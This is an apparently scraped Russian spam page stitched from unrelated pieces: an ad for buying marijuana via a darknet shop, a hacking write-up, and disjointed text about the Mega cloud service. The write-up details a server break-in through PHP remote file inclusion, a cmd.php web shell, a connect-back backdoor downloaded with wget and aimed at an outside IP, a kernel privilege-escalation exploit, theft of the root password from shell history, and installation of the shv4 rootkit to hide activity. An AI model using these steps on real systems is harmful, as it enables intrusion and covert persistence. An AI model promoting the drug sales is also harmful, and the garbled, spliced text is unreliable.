Kra31.at
В эти не легкие для, а именно 05.04.2022, купить марихуану (канабис) стало крайне проблемно из-за временный трудностей с доступом к сайту Гидры. Мы сожалеем что так произошло, kraat но уверяем Вас, это временная и вынужденная меня. Оплата так же производится через обменники которые не сложили руки и продолжают сотрудничества с нами, за что им, огромная благодарность! Оплата в боте осуществляется по …Подробнее
Kra31.at - Kra34.cc
опулярных и влиятельных сайтов, среди которых был сайт
телеканала и крутой сайт о политике, да и много других. 2. Осмотр местностиНикаких странных портов на сервере не было открыто, все баннеры сервисов были стандартны и неуязвимы. Нужно было действовать изнутри. На счастье администратор сервера любил похвастаться, и вскоре мы обнаружили интересную страничку типа « На нашем сервере расположены сайты… ».3. ВторжениеПоковырявшись на некоторых сайтах из этого списка, был обнаружен какой-то самописный форум. Возможности SQL-инжекции и XSS мы там не нашли.
Но тут на помощь пришел старый добрый товарищ – поисковая система GooGle
:). Был выполнен такой запрос:site: “www.target.com “ AND filetype: “php”Как и ожидалось, google представил нам довольно обширный список php скриптов.
Немного покликав на ссылки, уязвимый скрипт был все-таки найден.
Ссылка была вида:http://www.target.com/forum/index_module.php?module=main&file=redirect.phpСомневаясь в успехе, мы смодифицировали ее к такому виду: http://www.target.com/forum/index_module.php?module= main&file=../../../../../../../../../../etc/passwd Возникла мысль, что если на сервере конфиг php не запрещает открывать ссылки из посторонних сайтов, и включена инициализация глобальных переменных, то можно произвести
php-include.Нам повезло, все было действительно так, ссылка была
изменена следующим образом:http://www.target.com/forum/index_module.php?module= main&file=http://ru24.narod.ru/cmd.php?cmd=idСам cmd.php содержал текст вида:echo "”;
system($_GET['cmd']);
echo "”;
?>Но, сервер выдал нам ошибку, указывающую, что функцию system нельзя использовать на этом сервере. Тогда cmd.php был изменен к следующему виду:echo "”;
passthru($_GET['cmd']);
echo "”; ?>После этого, команда id успешно выполнилась. Мы обладали правами apache. Нужно было повышать привилегии. 4. Повышение привилегийЯдро Linux было ветки 2.4.27, которое успешно рутается эксплоитом mremap. Был быстро запущен connback
backdoor.cd /tmp;
wget –o cwb.c http://ru24.narod.ru/cwb.c;Фаервол сек даже исходящие коннекты на левые порты, поэтому пришлось менять порт в бекдоре на 80.gcc cwb.c –o cb;
./bd 68.***.***.**Все, backdoor приконнектился на нужный нам адрес. Далее был скачан и запущен
mremap:wget http://www.security.nnov.ru/files/mremap_pte.c
gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
./ mremap_pte;Но система не сдавалась. Было опробовано еще несколько подобных эксплоитов. Факты говорили о том, что админ нас просто разводит. Ведь по команде uname -a выдается SMP система, а при применении эксплоита для этой системы идет запись что это не SMP система, что есть странно и является доказательством присутствия IDS.5. Альтернативные методыТак, администратор решил посмеяться, но смеется тот, кто смеется последний
:). Он все-таки совершил большую ошибку, все каталоги и файлы пользователей были доступны группе apache, членом которой были и мы.
Был пропарсен .bash_history каталога хостинга, где было обнаружено некорректное использование команды su, после чего был найден пароль администратора root. 6. Закрепляемся в системеМы успешно подключились к SSH сервису, далее было принято решение установить руткит shv4.wget http://www.geocities.com/santumadron/shv4.tar.gz;
tar zxvf shv4.tar.gz;
cd shv4;
./setup пароль портПри коннекте на SSH либо на порт руткита вводим логин root и наш пароль.
Теперь лог-файлы наших действий не ведутся, наши процессы не светятся.
Кстати, руткит shv4 является приватным, но это наш подарок вам,
от Nitrex’a и DreAmeRz’a.Авторы: DreAmeRz и Nitrex
E-mail: [email protected]
E-mail: [email protected]
WEB: www.ru24-team.net
Также он получит соответствующее уведомление. 1) Знакомство с облаком Mega, бесплатный и платные тарифы. На платных тарифах есть возможность установки паролей на файлы, срок годности ссылки доступа, автоматические резервные копии. Эта система, предложенная владельцем старой и хорошо известной MegaUpload, Ким Дотком, имеет мощную систему шифрования, которая предотвращает утечку данных или атаки третьих лиц, а также абсолютно гарантирует конфиденциальность обоих пользовательских профилей. Помимо упрощения работы тем, кто хочет загружать файлы, функции Mega позволяют пользователям хранить все виды контента в облаке, чтобы иметь цифровую резервную копию всего, что что они считают важным, помимо возможности делиться контентом с другими пользователями. Но у партнерки есть особенности: Выплаты в евро. Вы также можете выбрать язык платформы прямо на левой кнопке со следующим значком. Пользователю. Вы попадете в ваш облачный диск, где можно загружать файлы и папки, делиться ими. Найдите кнопку с текстом Логин и нажмите на нее, чтобы продолжить процедуру. 11) Панель управления аккаунтом Мега и оптимизация места на диске. Вы можете ее скопировать ее и поделиться. Здесь вам предложат экспортировать ваш ключ восстановления аккаунта (он пригодится, если потеряется пароль). Еще раз очень благодарна. Сегодня, сеть Интернет предлагает большое количество файловых хранилищ, похожих друг на друга. Если вдруг у вас сайт не на русском языке, то вверху справа можно сменить язык. А также будет доступна в вашем аккаунте после регистрации в облаке. В открывшемся окне нажмите на шестеренку, выберите «Удалить и закрыть». 7) Как закрыть доступ к файлу по ссылке. Это значит, что сообщения, фотографии, видео защищены от попадания в чужие руки.